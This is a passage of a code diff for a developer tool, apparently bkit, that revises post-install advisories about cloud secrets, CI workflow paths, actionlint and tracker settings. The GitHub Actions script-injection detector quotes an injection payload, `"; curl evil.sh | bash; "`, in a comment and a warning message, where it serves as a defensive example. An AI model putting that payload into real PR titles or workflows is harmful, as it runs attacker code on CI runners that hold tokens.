+ * same tracker-independent set (install/cloud-env.ts).
105
105
  *
106
- * Returns null when none of the three trigger paths exist.
106
+ * Returns null when none of the trigger paths exist.
107
107
  */
108
108
  export function buildCloudDashboardsAdvisory(cwd) {
109
109
  const hasRouter = fs.existsSync(path.join(cwd, ".github", "workflows", "bkit-cloud.yml"));
110
- const hasClaude = fs.existsSync(path.join(cwd, ".claude"));
111
- const hasCursor = fs.existsSync(path.join(cwd, ".cursor"));
112
- if (!hasRouter && !hasClaude && !hasCursor)
110
+ const hosts = [
111
+ [
112
+ ".cursor",
113
+ "**Cursor Cloud Agents**: open `https://cursor.com/dashboard/cloud-agents` → your environment → **Secrets** tab. Add each secret as a **Runtime Secret** (loaded as an env var, redacted from the agent's transcript). Cursor reads `.cursor/Dockerfile` + `.cursor/environment.json` from the repo but secrets come from this dashboard only; the resolved paste-ready values are in `.cursor/bkit-cloud.md` (gitignored).",
114
+ ],
115
+ [
116
+ ".claude",
117
+ "**Claude Code (web)**: open `https://claude.ai/code` → environment selector → your environment → **Environment variables**. Paste the block from `.claude/bkit-cloud.md` (gitignored), which also carries the setup script and network list. Claude reads both from the dashboard, NOT from the repo, so changes here do not require a commit.",
118
+ ],
119
+ [
120
+ ".codex",
121
+ "**Codex Cloud**: open ChatGPT → **Settings > Codex Cloud > Environments** → your environment → **Environment variables**. Paste the block from `.codex/bkit-cloud.md` (gitignored), which also carries the install script and allowed domains.",
122
+ ],
123
+ ];
124
+ const present = hosts.filter(([dir]) => fs.existsSync(path.join(cwd, dir)));
125
+ if (!hasRouter && present.length === 0)
113
126
  return null;
114
- // cloud=claude path (bkit-cloud.yml): GitHub-tracker only, ANTHROPIC_API_KEY or federation.
115
- // cloud=cursor path (.cursor/): BKIT_LINEAR_API_KEY for Cursor dashboard; Linear-tracker only.
116
- // Distinguish by recorded variant; fall back to presence-based detection under linear.
117
- const config = readBkitConfig(cwd);
118
- const isCursorCloud = config.cloudAgents === "cursor" ||
119
- (!hasRouter && hasCursor && config.issueTracker === "linear");
120
- const secretList = isCursorCloud ? "`BKIT_LINEAR_API_KEY`" : "`ANTHROPIC_API_KEY`";
121
- const ghSetLines = isCursorCloud
122
- ? " gh secret set BKIT_LINEAR_API_KEY --body='<value>'\n\n" +
123
- " Verify: `gh secret list | grep -E 'BKIT_LINEAR_API_KEY'`\n\n"
124
- : " gh secret set ANTHROPIC_API_KEY --body='<value>'\n\n" +
127
+ const sections = [];
128
+ if (hasRouter) {
129
+ sections.push("**GitHub Actions** (used by bkit-cloud.yml and your own workflows):\n" +
130
+ " gh secret set ANTHROPIC_API_KEY --body='<value>'\n\n" +
125
131
  " Verify: `gh secret list | grep -E 'ANTHROPIC_API_KEY'`\n\n" +
126
- " Keyless alternative for bkit-cloud.yml (workload identity federation): leave the secret unset and set the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables (`gh variable set`) from a Claude Console federation rule.\n\n";
127
- const vendorNote = isCursorCloud
128
- ? "BKIT_LINEAR_API_KEY is read from the Linear dashboard (https://linear.app/settings/api)."
129
- : "ANTHROPIC_API_KEY is read from the Anthropic dashboard (https://console.anthropic.com/settings/keys); `.bkit/.env` holds the same value as BKIT_ANTHROPIC_API_KEY. The Claude GitHub App (`/install-github-app`) is also required for `cloud=claude`.";
132
+ " Keyless alternative for bkit-cloud.yml (workload identity federation): leave the secret unset and set the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables (`gh variable set`) from a Claude Console federation rule.\n\n" +
133
+ " ANTHROPIC_API_KEY is read from the Anthropic dashboard (https://console.anthropic.com/settings/keys); `.bkit/.env` holds the same value as BKIT_ANTHROPIC_API_KEY. The Claude GitHub App (`/install-github-app`) is also required for `cloud=claude`.");
134
+ }
135
+ for (const [, text] of present)
136
+ sections.push(text);
130
137
  return {
131
138
  id: "cloud-secrets-three-locations",
132
139
  severity: "advisory",
133
- detect: `The secrets used by bkit's cloud integration (${secretList}) must also be set in the relevant cloud dashboards. Bkit cannot verify dashboard state — surface the checklist so you don't ship a half-configured cloud setup.`,
140
+ detect: "The secrets bkit's cloud integration uses must also be set in each cloud location you use. Bkit cannot verify dashboard state — surface the checklist so you don't ship a half-configured cloud setup.",
134
141
  action: "Set each secret in the required locations:\n\n" +
135
- "1. **GitHub Actions** (used by bkit-cloud.yml and your own workflows):\n" +
136
- ghSetLines +
137
- "2. **Cursor Cloud Agents** (used by Cursor's cloud agent runner): open `https://cursor.com/dashboard/cloud-agents` → your environment → **Secrets** tab. Add each secret as a **Runtime Secret** (loaded as an env var, redacted from the agent's transcript). Cursor reads `.cursor/Dockerfile` + `.cursor/environment.json` from the repo but secrets come from this dashboard only; the resolved paste-ready values are in `.cursor/bkit-cloud.md` (gitignored).\n\n" +
138
- "3. **Claude Code (web)** (used by Claude.ai's cloud agent runner): open `https://claude.ai/code` → Settings → Setup → Environment Variables. Add each secret. Claude reads its setup script from the dashboard, NOT from the repo, so changes here do not require a commit.\n\n" +
142
+ sections.map((s, i) => `${i + 1}. ${s}\n\n`).join("") +
139
143
  "**Context-fetch (`/bkit-debug` in the cloud):** if you run the debug workflow in these cloud agents, the observability creds your `.agents/context.md` context-fetch blocks use (e.g. `VERCEL_TOKEN`, `SUPABASE_ACCESS_TOKEN`) must ALSO be set in the same dashboards above — non-interactively, since headless agents cannot `vercel login`. These are operator/observability READ creds, not app-runtime secrets. Commit the non-secret selectors (team scope / project ref / `--environment`) in your copied block so they need no dashboard entry. The CLIs those blocks call install automatically in the cloud from each block's `context-fetch:provision` sibling — no manual setup.\n\n" +
140
- "Same VALUE in all places. " +
141
- vendorNote,
144
+ "Same VALUE in all places.",
142
145
  };
143
146
  }
144
147
  /** Repo variables that, both set, switch bkit-cloud.yml's claude job to workload identity federation. */
@@ -5,6 +5,7 @@ import * as fs from "node:fs";
5
5
  import * as path from "node:path";
6
6
  import { readJsonFile } from "../../shared/json.js";
7
7
  import { readPackageJson } from "../../shared/package-json.js";
8
+ import { ciWorkflowPath, readBkitConfig } from "../../shared/settings.js";
8
9
  import { isAdvisorySuppressed } from "./suppression.js";
9
10
  // ---------------------------------------------------------------------------
10
11
  // Other post-install detectors
@@ -43,23 +44,25 @@ export function detectBkitCloudYmlAlwaysTrueGate(cwd) {
43
44
  };
44
45
  }
45
46
  /**
46
- * Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
47
+ * Matches a CI workflow (`bkit.testing.ciWorkflow`) copied from the bkit-ci.yml template: an uncommented
47
48
  * job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
48
49
  * carries.
49
50
  */
50
51
  const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
51
52
  /**
52
- * Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
53
+ * Detect a CI workflow (`bkit.testing.ciWorkflow`, default `bkit-ci.yml`) adopted from bkit's
54
+ * template with no `actionlint` step.
53
55
  * `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
54
56
  * but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
55
57
  * scalars). actionlint is GHA-aware and catches that class.
56
58
  *
57
59
  * Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
58
- * bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
60
+ * The CI workflow is the consumer's file, so `bkit install` never adds the step — the action
59
61
  * inlines the manual step.
60
62
  */
61
63
  export function detectCiYmlMissingActionlint(cwd) {
62
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
64
+ const ciRel = ciWorkflowPath(cwd);
65
+ const ciPath = path.join(cwd, ciRel);
63
66
  if (!fs.existsSync(ciPath))
64
67
  return null;
65
68
  const content = fs.readFileSync(ciPath, "utf-8");
@@ -70,8 +73,9 @@ export function detectCiYmlMissingActionlint(cwd) {
70
73
  return {
71
74
  id: "ci-yml-missing-actionlint",
72
75
  severity: "advisory",
73
- detect: ".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
74
- action: "Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
76
+ detect: `${ciRel} (adopted from bkit's template) has no actionlint step. ` +
77
+ "yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
78
+ action: `Add an actionlint step among the static checks in ${ciRel} (before the test/build group):\n\n` +
75
79
  " - name: Run actionlint\n" +
76
80
  " run: |\n" +
77
81
  ' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
@@ -81,11 +85,11 @@ export function detectCiYmlMissingActionlint(cwd) {
81
85
  }
82
86
  /**
83
87
  * Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
84
- * body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
88
+ * body in the CI workflow (`bkit.testing.ciWorkflow`) — the classic GHA script-injection sink. A PR titled
85
89
  * `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
86
90
  * (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
87
91
  * the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
88
- * re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
92
+ * re-parses them as shell). The CI workflow is the consumer's file — bkit's template was hardened but
89
93
  * nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
90
94
  * This surfaces it as a dedicated security finding.
91
95
  *
@@ -93,10 +97,11 @@ export function detectCiYmlMissingActionlint(cwd) {
93
97
  * indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
94
98
  * `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
95
99
  * not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
96
- * silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
100
+ * silent. Only scans a CI workflow adopted from bkit's template (ADOPTED_CI_JOB_RE).
97
101
  */
98
102
  export function detectCiYmlRunInjection(cwd) {
99
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
103
+ const ciRel = ciWorkflowPath(cwd);
104
+ const ciPath = path.join(cwd, ciRel);
100
105
  if (!fs.existsSync(ciPath))
101
106
  return null;
102
107
  const content = fs.readFileSync(ciPath, "utf-8");
@@ -149,7 +154,7 @@ export function detectCiYmlRunInjection(cwd) {
149
154
  return {
150
155
  id: "ci-yml-run-injection",
151
156
  severity: "advisory",
152
- detect: "SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
157
+ detect: `SECURITY: ${ciRel} interpolates untrusted GitHub Actions input ` +
153
158
  "(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
154
159
  'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
155
160
  `runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
@@ -166,25 +171,29 @@ export function detectCiYmlRunInjection(cwd) {
166
171
  };
167
172
  }
168
173
  /**
169
- * Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
170
- * CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
174
+ * Detect drift of the consumer's capstone job (`bkit.testing.ciCapstone`, default
175
+ * `bkit-tests-check`) from bkit's canonical CI contract. The CI workflow
176
+ * (`bkit.testing.ciWorkflow`) is the consumer's copy of a template; bkit never rewrites it.
171
177
  * WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
172
- * "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
178
+ * "differs from canonical". Fires when the CI workflow defines the capstone job (the
173
179
  * template ships one).
174
180
  *
175
181
  * Every check reads `code` (full-line comments stripped): the template's commented
176
182
  * scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
177
183
  */
178
184
  export function detectCiYmlCapstoneContractDrift(cwd) {
179
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
185
+ const ciRel = ciWorkflowPath(cwd);
186
+ const ciPath = path.join(cwd, ciRel);
180
187
  if (!fs.existsSync(ciPath))
181
188
  return null;
189
+ const capstone = readBkitConfig(cwd).capstoneJob;
182
190
  const content = fs.readFileSync(ciPath, "utf-8");
183
191
  const code = content
184
192
  .split("\n")
185
193
  .filter((line) => !/^\s*#/.test(line))
186
194
  .join("\n");
187
- if (!/^\s+bkit-tests-check:/m.test(code))
195
+ const capstoneJobRe = new RegExp(`^\\s+${capstone.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}:`, "m");
196
+ if (!capstoneJobRe.test(code))
188
197
  return null; // no capstone job
189
198
  const missing = [];
190
199
  // 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
@@ -220,8 +229,8 @@ export function detectCiYmlCapstoneContractDrift(cwd) {
220
229
  return {
221
230
  id: "ci-yml-capstone-contract-drift",
222
231
  severity: "advisory",
223
- detect: `.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
224
- "load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
232
+ detect: `${ciRel} (adopted from bkit's template) has a ${capstone} capstone missing ${missing.length} ` +
233
+ `load-bearing invariant(s) from bkit's canonical CI contract. ${ciRel} is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.`,
225
234
  action: "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
226
235
  missing.map((m) => " - " + m).join("\n"),
227
236
  };
@@ -358,7 +367,7 @@ function tagUsedInTestTitle(text, tag, mask) {
358
367
  * declares the script); a silent no-op otherwise. WARNING-only; the capstone's
359
368
  * `run_live => live_ran > 0` assertion is the runtime check.
360
369
  *
361
- * A package whose own `package.json` opts out (`bkit.ignoreAdvisories`) is dropped from the
370
+ * A package whose own `package.json` opts out (`bkit.advisories.ignore`) is dropped from the
362
371
  * list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
363
372
  * aggregates every affected package into one entry.
364
373
  */
@@ -449,7 +458,7 @@ export function detectTaggedTestsWithoutCiHome(cwd, onSuppressed) {
449
458
  lines.join("\n") +
450
459
  '\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
451
460
  "\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
452
- ' "bkit": { "ignoreAdvisories": ["tagged-tests-no-ci-home"] }',
461
+ ' "bkit": { "advisories": { "ignore": ["tagged-tests-no-ci-home"] } }',
453
462
  };
454
463
  }
455
464
  // ---------------------------------------------------------------------------
@@ -509,7 +518,7 @@ export function detectTurboIntegrationInputs(cwd) {
509
518
  * env-agnostic script provisioned at the lane), (3) the vitest integration config the
510
519
  * script points at (home of the documented in-file guard).
511
520
  *
512
- * Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.ignoreAdvisories`
521
+ * Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.advisories.ignore`
513
522
  * entry there drops the finding and reports it via `onSuppressed`.
514
523
  */
515
524
  export function detectTestIntegrationEnv(cwd, onSuppressed) {
@@ -572,7 +581,7 @@ export function detectTestIntegrationEnv(cwd, onSuppressed) {
572
581
  " - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
573
582
  " - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
574
583
  "Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
575
- ' "bkit": { "ignoreAdvisories": ["test-integration-env-not-asserted"] }',
584
+ ' "bkit": { "advisories": { "ignore": ["test-integration-env-not-asserted"] } }',
576
585
  };
577
586
  }
578
587
  /**
@@ -612,6 +621,57 @@ export function detectGhaFloatingTags(cwd) {
612
621
  "Look up SHAs with `git ls-remote https://github.com/<org>/<repo>.git 'refs/tags/v*' | tail -3`. Apply to ALL workflow files that run with elevated permissions (`packages: write`, `id-token: write`). Copy `.github/renovate.json5` or `.github/dependabot.yml` from the bkit examples so SHA pins refresh on upstream releases. See docs/deployments.md § Dependency updaters.",
613
622
  };
614
623
  }
624
+ /**
625
+ * CI template copies named without the `bkit-` prefix: unprefixed path → template name, both
626
+ * relative to the repo root.
627
+ */
628
+ const CI_SCRIPT_DIR = "scripts/ci";
629
+ const ciScriptUnit = (...files) => files.map((file) => {
630
+ const slash = file.lastIndexOf("/");
631
+ const dir = slash === -1 ? "" : file.slice(0, slash + 1);
632
+ return [`${CI_SCRIPT_DIR}/${file}`, `${CI_SCRIPT_DIR}/${dir}bkit-${file.slice(slash + 1)}`];
633
+ });
634
+ /**
635
+ * The renamed files grouped into units that move together: a script, its test and the
636
+ * data file it reads. `bkit upgrade` moves a unit only whole.
637
+ */
638
+ export const CI_SCRIPT_UNITS = [
639
+ ciScriptUnit("check-capstone.mjs", "check-capstone.test.mjs"),
640
+ ciScriptUnit("check-dependency-audit.mjs", "check-dependency-audit.test.mjs", "accepted-advisories.json"),
641
+ ciScriptUnit("check-accepted-divergences.mjs", "check-accepted-divergences.test.mjs", "accepted-divergences.json"),
642
+ ciScriptUnit("lanes/resolve-push-base.mjs", "lanes/resolve-push-base.test.mjs"),
643
+ ];
644
+ export const CI_SCRIPT_RENAMES = CI_SCRIPT_UNITS.flat();
645
+ /**
646
+ * Detect CI template copies named without the `bkit-` prefix. They keep working while every
647
+ * reference uses the same old name; the risk is renaming a file without its references — the
648
+ * CI dependency-audit step is guarded by `hashFiles(...)` and silently skips. The copies are the
649
+ * consumer's: `bkit upgrade` moves the unedited ones (`migrateBrandedTemplateFiles`), and this
650
+ * advisory names the ones it leaves (edited, or a `bkit-` target already present); the action
651
+ * inlines the rename and the reference edit.
652
+ */
653
+ export function detectCiScriptsOldNames(cwd) {
654
+ const found = CI_SCRIPT_RENAMES.filter(([oldPath]) => fs.existsSync(path.join(cwd, oldPath)));
655
+ if (found.length === 0)
656
+ return null;
657
+ const moves = found
658
+ .filter(([, newPath]) => !fs.existsSync(path.join(cwd, newPath)))
659
+ .map(([oldPath, newPath]) => ` git mv ${oldPath} ${newPath}`);
660
+ const both = found
661
+ .filter(([, newPath]) => fs.existsSync(path.join(cwd, newPath)))
662
+ .map(([oldPath, newPath]) => ` ${oldPath} (also present: ${newPath})`);
663
+ const pairs = found.map(([oldPath, newPath]) => `${oldPath} → ${newPath}`).join(", ");
664
+ return {
665
+ id: "ci-scripts-old-names",
666
+ severity: "advisory",
667
+ detect: `${found.length} CI template ${found.length === 1 ? "copy uses its" : "copies use their"} old name without the \`bkit-\` prefix: ${found.map(([oldPath]) => `\`${oldPath}\``).join(", ")}. They work while every reference uses the old name too; renaming a file without its references makes the CI dependency-audit step skip silently.`,
668
+ action: (moves.length > 0 ? `Rename:\n\n${moves.join("\n")}\n\n` : "") +
669
+ (both.length > 0
670
+ ? `Both names present — move any edits (accepted advisories, registry rows) into the new file, then \`git rm\` the old one:\n\n${both.join("\n")}\n\n`
671
+ : "") +
672
+ `In the same commit, replace each old path with its new one in \`.github/workflows/*.yml\`, \`.husky/pre-push\`, \`package.json\` and the files under \`scripts/ci/\` (the scripts name their JSON files): ${pairs}. Then \`grep -rn -E "(^|[^a-z-])(check-capstone|check-dependency-audit|check-accepted-divergences|accepted-advisories|accepted-divergences|resolve-push-base)(\\.test)?\\.(mjs|json)" .github .husky package.json scripts/ci\` prints nothing.`,
673
+ };
674
+ }
615
675
  /**
616
676
  * Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
617
677
  * outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
@@ -619,11 +679,13 @@ export function detectGhaFloatingTags(cwd) {
619
679
  * system documented in deployments.md is documentation-only.
620
680
  *
621
681
  * "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
622
- * sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
682
+ * sibling workflow or in the CI workflow itself. bkit's shipped steps only SET these outputs and
623
683
  * the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
624
684
  */
625
685
  export function detectRunLevelsNotComposed(cwd) {
626
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
686
+ const ciWorkflow = readBkitConfig(cwd).ciWorkflow;
687
+ const ciRel = ciWorkflowPath(cwd);
688
+ const ciPath = path.join(cwd, ciRel);
627
689
  if (!fs.existsSync(ciPath))
628
690
  return null;
629
691
  const ciContent = fs.readFileSync(ciPath, "utf-8");
@@ -651,14 +713,14 @@ export function detectRunLevelsNotComposed(cwd) {
651
713
  for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
652
714
  if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
653
715
  continue;
654
- if (entry.name === "bkit-ci.yml")
716
+ if (entry.name === ciWorkflow)
655
717
  continue; // checked below
656
718
  if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
657
719
  composed = true;
658
720
  break;
659
721
  }
660
722
  }
661
- // Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
723
+ // Or a consumer-added gate inside the CI workflow itself (e.g. an enabled bkit-stub:e2e block,
662
724
  // or a deploy/job step reading the outputs).
663
725
  if (!composed && composesRunLevels(ciContent))
664
726
  composed = true;
@@ -667,11 +729,10 @@ export function detectRunLevelsNotComposed(cwd) {
667
729
  return {
668
730
  id: "run-levels-not-composed",
669
731
  severity: "advisory",
670
- detect: ".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
732
+ detect: `${ciRel} ships bkit's \`Detect Direct Push\` step outputs (\`should_force_build\`, \`should_run_full\`, \`cache.outputs.skip\`) but no consumer-side workflow or step gates on them.`,
671
733
  action: "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
672
734
  " - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
673
- " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
674
- " - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
675
- "If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
735
+ " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n\n" +
736
+ `If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the \`Detect Direct Push\` step from ${ciRel}. Note this also disables \`[force cache]\` / \`[force build]\` / \`[force full]\` tag detection.`,
676
737
  };
677
738
  }
@@ -7,6 +7,7 @@ import { execFileSync } from "node:child_process";
7
7
  import { MCP_TOOLSETS_HEADER, parseToolsets } from "../../install/write.js";
8
8
  import { parseJson, readJsonFile } from "../../shared/json.js";
9
9
  import { readBkitConfig } from "../../shared/settings.js";
10
+ import { isCloudOrCi } from "../before/env.js";
10
11
  /**
11
12
  * Detect whether branch protection is configured on `main`.
12
13
  * Returns "present" | "missing" | "unknown".
@@ -64,7 +65,7 @@ export function detectActionsWritePermissions() {
64
65
  *
65
66
  * - `github` → GitHub tracker: the GitHub MCP server authenticates with `BKIT_GH_TOKEN`; `gh` uses `gh auth login`.
66
67
  * - `linear` → existing Linear setup message (BKIT_LINEAR_API_KEY + LINEAR_ISSUE_ID).
67
- * - `jira` → admin switch, BKIT_JIRA_API_TOKEN and `bkit.jira` in package.json.
68
+ * - `jira` → admin switch, BKIT_JIRA_API_KEY and `bkit.tracker.jira` in package.json.
68
69
  * - `none` → prompt to run `bkit install --tracker=github`, `--tracker=linear` or `--tracker=jira`.
69
70
  *
70
71
  * Only fires when bkit workflows are installed (.claude/ or .cursor/ present).
@@ -96,10 +97,10 @@ export function buildTrackerSetupAdvisory(cwd) {
96
97
  id: "tracker-setup-jira",
97
98
  severity: "advisory",
98
99
  detect: "bkit tracker is configured as `jira`. Jira Cloud is the active tracker.",
99
- action: 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_TOKEN` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
100
+ action: 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_KEY` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.tracker.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.tracker.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
100
101
  };
101
102
  }
102
- // tracker === "none". Distinguish opt-out (explicit `bkit.issueTracker: "none"`)
103
+ // tracker === "none". Distinguish opt-out (explicit `bkit.tracker.default: "none"`)
103
104
  // from undecided (field absent). An explicit `none` silences the nudge, as with the
104
105
  // dep-updater advisory.
105
106
  if (issueTrackerExplicit)
@@ -107,12 +108,12 @@ export function buildTrackerSetupAdvisory(cwd) {
107
108
  return {
108
109
  id: "tracker-setup-none",
109
110
  severity: "advisory",
110
- detect: "bkit tracker is not configured (`bkit.issueTracker` absent). Workflows run but every tracker call is a no-op.",
111
- action: 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_TOKEN` in `.bkit/.env` and `bkit.jira` in package.json. To opt out and silence this advisory, set `bkit.issueTracker` to `"none"` in package.json.',
111
+ detect: "bkit tracker is not configured (`bkit.tracker.default` absent). Workflows run but every tracker call is a no-op.",
112
+ action: 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_KEY` in `.bkit/.env` and `bkit.tracker.jira` in package.json. To opt out and silence this advisory, set `bkit.tracker.default` to `"none"` in package.json.',
112
113
  };
113
114
  }
114
115
  /**
115
- * Classify the `bkit.github.project` board-sync config in package.json:
116
+ * Classify the `bkit.tracker.github.project` board-sync config in package.json:
116
117
  * - "configured" → a Projects v2 board URL
117
118
  * - "opted-out" → set to `false` ("no board sync" — stay quiet)
118
119
  * - "invalid" → a string that is not a board URL
@@ -154,13 +155,13 @@ export function detectProjectsToolset(cwd) {
154
155
  /**
155
156
  * GitHub Projects v2 board-sync prerequisite advisory. Board status sync needs
156
157
  * THREE things, none of which install seeds or verifies end-to-end:
157
- * `bkit.github.project` (the board URL), the `projects` MCP toolset, and a PAT
158
+ * `bkit.tracker.github.project` (the board URL), the `projects` MCP toolset, and a PAT
158
159
  * with Projects R/W. Absent any of the first two (the detectable ones), board
159
160
  * sync silently no-ops — the URL alone is useless if the toolset lacks
160
161
  * `projects`, and vice versa. Emits one advisory naming what's missing.
161
162
  *
162
163
  * Gates: workflows installed (.claude/ or .cursor/) AND tracker === "github".
163
- * Stays quiet on explicit opt-out (`bkit.github.project: false`) or when both
164
+ * Stays quiet on explicit opt-out (`bkit.tracker.github.project: false`) or when both
164
165
  * detectable prerequisites are satisfied (PAT scope can't be checked locally).
165
166
  */
166
167
  export function buildGithubProjectAdvisory(cwd) {
@@ -180,9 +181,9 @@ export function buildGithubProjectAdvisory(cwd) {
180
181
  return null;
181
182
  const missing = [];
182
183
  if (configState === "absent")
183
- missing.push("`bkit.github.project` is absent from package.json");
184
+ missing.push("`bkit.tracker.github.project` is empty or absent in package.json");
184
185
  if (configState === "invalid")
185
- missing.push("`bkit.github.project` is not a GitHub Projects board URL");
186
+ missing.push("`bkit.tracker.github.project` is not a GitHub Projects board URL");
186
187
  if (toolset === "missing")
187
188
  missing.push("the `projects` toolset is missing from `.mcp.json` `X-MCP-Toolsets`");
188
189
  const missingPhrase = missing.length > 0 ? `: ${missing.join("; ")}` : "";
@@ -194,7 +195,9 @@ export function buildGithubProjectAdvisory(cwd) {
194
195
  action: "Board status sync is optional (workflows never gate on it) but invisible when half-configured. All three prerequisites are required:\n\n" +
195
196
